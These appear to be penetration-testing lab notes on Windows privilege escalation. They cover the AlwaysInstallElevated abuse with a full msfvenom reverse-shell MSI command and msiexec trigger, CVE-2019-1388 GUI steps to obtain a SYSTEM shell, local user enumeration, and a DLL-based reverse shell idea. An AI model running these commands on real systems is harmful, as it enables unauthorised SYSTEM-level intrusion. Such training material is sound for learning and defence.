Query the registry for AlwaysInstallElevated keys: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedNote that both keys are set to 1 (0x1).
On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
Transfer the reverse.msi file to the C:\PrivEsc directory on Windows
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges: msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
CVE-2019-1388
Vulnerable Windows Server and Workstation versions.
SERVER
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Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
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Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
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Right click on the hhupd.exe executable and select Run as administrator from the menu.
Click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.
Click on the hyperlink and then click OK, and the certificate dialog will close, and a browser window will launch
The browser instance was launched as SYSTEM.
Right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.
Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.
PS C:\htb> Get-LocalUser
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
Guest False Built-in account for guest access to the computer/domain
helpdesk True
htb-student True
htb-student_adm True
jordan True
logger True
sarah True
sccm_svc True
secsvc True Network scanner - do not change password
sql_dev True
Computer Description Field
PS C:\htb> Get-WmiObject -Class Win32_OperatingSystem | select Description
Description
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The most vulnerable box ever!
A binary such as can be used to execute a DLL file. We could use this to obtain a reverse shell by executing a .DLL file that we either download onto the remote host or host ourselves on an SMB share.
